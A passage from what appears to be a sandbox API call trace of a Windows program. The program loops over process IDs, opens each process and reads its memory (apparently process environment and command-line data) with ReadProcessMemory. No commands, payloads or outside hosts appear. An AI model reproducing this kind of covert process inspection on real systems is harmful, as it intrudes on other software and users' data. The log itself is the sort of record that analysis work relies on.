_Buffer="10.0.10586") returned 10 [0181.791] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1038) returned 0x330 [0181.792] GetLastError () returned 0x0 [0181.792] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.792] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x530018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.792] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.792] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x791d00, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.793] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7918f8, lpBuffer=0x2dc237c1c0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.794] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.795] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.795] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x530020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.795] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7912e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.796] malloc (_Size=0x76) returned 0x20abc282120 [0181.796] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x791966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0181.797] free (_Block=0x20abc282120) [0181.797] CloseHandle (hObject=0x330) returned 1 [0181.798] _ui64tow_s (in: _Value=0x1040, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4160") returned 0x0 [0181.802] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4160") returned 4 [0181.803] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.803] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.818] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1040) returned 0x330 [0181.819] GetLastError () returned 0x0 [0181.819] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.819] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x258018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.819] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.819] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4f1d00, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.820] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4f18f8, lpBuffer=0x2dc237c1c0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.821] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.822] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.822] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x258020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.822] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4f12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.822] malloc (_Size=0x7a) returned 0x20abc284f30 [0181.822] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4f196a, lpBuffer=0x20abc284f30, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f30*, lpNumberOfBytesRead=0x0) returned 1 [0181.824] free (_Block=0x20abc284f30) [0181.824] CloseHandle (hObject=0x330) returned 1 [0181.838] _ui64tow_s (in: _Value=0x104c, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4172") returned 0x0 [0181.843] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4172") returned 4 [0181.844] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.844] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.860] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104c) returned 0x330 [0181.860] GetLastError () returned 0x0 [0181.860] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.860] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x28c018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.861] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.861] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x701d30, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.861] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7018f8, lpBuffer=0x2dc237c1c0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.862] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.863] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.863] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x28c020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.864] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7012e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.864] malloc (_Size=0x86) returned 0x20abc284f30 [0181.864] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x701976, lpBuffer=0x20abc284f30, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f30*, lpNumberOfBytesRead=0x0) returned 1 [0181.865] free (_Block=0x20abc284f30) [0181.866] CloseHandle (hObject=0x330) returned 1 [0181.866] _ui64tow_s (in: _Value=0x105c, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4188") returned 0x0 [0181.871] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4188") returned 4 [0181.872] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.872] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.901] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x105c) returned 0x330 [0181.901] GetLastError () returned 0x0 [0181.901] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.901] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x38d018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.902] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.902] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5a1d00, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.902] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5a18f8, lpBuffer=0x2dc237c1c0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.903] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.905] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.905] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x38d020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.905] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5a12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.905] malloc (_Size=0x76) returned 0x20abc282120 [0181.905] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5a1966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0181.906] free (_Block=0x20abc282120) [0181.907] CloseHandle (hObject=0x330) returned 1 [0181.907] _ui64tow_s (in: _Value=0x1064, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4196") returned 0x0 [0181.911] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4196") returned 4 [0181.912] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.912] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.930] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1064) returned 0x330 [0181.930] GetLastError () returned 0x0 [0181.931] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.931] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x264018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.931] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.931] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x511ca0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.932] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5118f8, lpBuffer=0x2dc237c1c0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.933] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.934] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.934] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x264020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.934] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5112e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.934] malloc (_Size=0x58) returned 0x20abc2aa5d0 [0181.934] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x511948, lpBuffer=0x20abc2aa5d0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa5d0*, lpNumberOfBytesRead=0x0) returned 1 [0181.935] free (_Block=0x20abc2aa5d0) [0181.937] CloseHandle (hObject=0x330) returned 1 [0181.937] _ui64tow_s (in: _Value=0x1070, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4208") returned 0x0 [0181.941] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4208") returned 4 [0181.942] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.942] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.957] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1070) returned 0x330 [0181.957] GetLastError () returned 0x0 [0181.958] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.958] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x48d018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.958] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.958] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2a1cd0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.958] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2a18f8, lpBuffer=0x2dc237c1c0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.959] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.961] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.961] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x48d020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.961] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2a12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.961] malloc (_Size=0x6a) returned 0x20abc2831b0 [0181.961] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2a195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0181.962] free (_Block=0x20abc2831b0) [0181.963] CloseHandle (hObject=0x330) returned 1 [0181.963] _ui64tow_s (in: _Value=0x1080, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4224") returned 0x0 [0181.981] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4224") returned 4 [0181.982] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.982] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.998] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1080) returned 0x330 [0181.998] GetLastError () returned 0x0 [0181.999] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.999] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2b9018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.999] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.999] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1d1d00, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.999] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1d18f8, lpBuffer=0x2dc237c1c0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0182.000] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0182.002] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0182.002] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2b9020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0182.002] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1d12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0182.002] malloc (_Size=0x76) returned 0x20abc282120 [0182.002] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1d1966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0182.003] free (_Block=0x20abc282120) [0182.004] CloseHandle (hObject=0x330) returned 1 [0182.052] _ui64tow_s (in: _Value=0x1088, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4232") returned 0x0 [0182.057] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4232") returned 4 [0182.058] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0182.058] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0182.077] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1088) returned 0x330 [0182.077] GetLastError () returned 0x0 [0182.077] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0182.077] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x258018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0182.078] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0182.078] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x451cb0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0182.078] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4518f8, lpBuffer=0x2dc237c1c0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0182.079] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0182.080] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0182.080] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x258020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0182.080] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4512e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0182.080] malloc (_Size=0x5e) returned 0x20abc280450 [0182.080] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x45194e, lpBuffer=0x20abc280450, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280450*, lpNumberOfBytesRead=0x0) returned 1 [0182.081] free (_Block=0x20abc280450) [0182.081] CloseHandle (hObject=0x330) returned 1 [0182.082] _ui64tow_s (in: _Value=0x1094, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4244") returned 0x0 [0182.085] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4244") returned 4 [0182.086] 